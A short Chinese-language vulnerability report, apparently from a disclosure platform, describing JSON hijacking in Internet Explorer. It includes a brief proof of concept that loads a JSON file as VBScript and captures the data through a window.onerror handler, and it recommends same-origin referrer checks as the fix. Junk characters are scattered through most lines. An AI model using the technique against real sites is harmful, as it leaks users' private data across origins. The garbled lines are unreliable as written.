简要描述:
" v& t( T/ f- v, G- p+ g2 ]+ z% z) S" O! ~9 ^/ C
由于某些资源容器对数据处理不当导致json劫持漏洞.5 Z" X1 O( z8 \' R6 G' W) ~. N
详细说明:" K \! U* N# }- S1 ^) a
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
! n$ w9 _" E# C; T) L' d+ `& M<script language=vbscript></script>, `, u+ X3 _- R, g9 j
/ Q b6 t0 g- h- P* l6 ?
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.3 j( L! h/ @- ^) s' T
漏洞证明:6 j" q0 N: y+ D
<script>% {* O0 x9 ?0 F1 F: U
window.onerror=function(_){: s9 V8 ]& M U- Y
alert(_)
3 L' [; `/ ]1 e. z6 k4 K s1 Q, v$ g} ~- z5 x. H& D" j
</script>& W# q. f4 R5 B$ m0 J6 q+ d
<script language=vbscript src=1.json></script>
$ }' t: z& f Z* N " v% r4 @0 m7 [: C
3 \* Z4 k' O$ x
1.json:
! |& x' \. { _ u- R! I6 Z[{"name":"sogili","age":19}]
* v1 a. Z2 x( \% C4 r修复方案:5 I) G/ E' ?& @/ w7 z
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |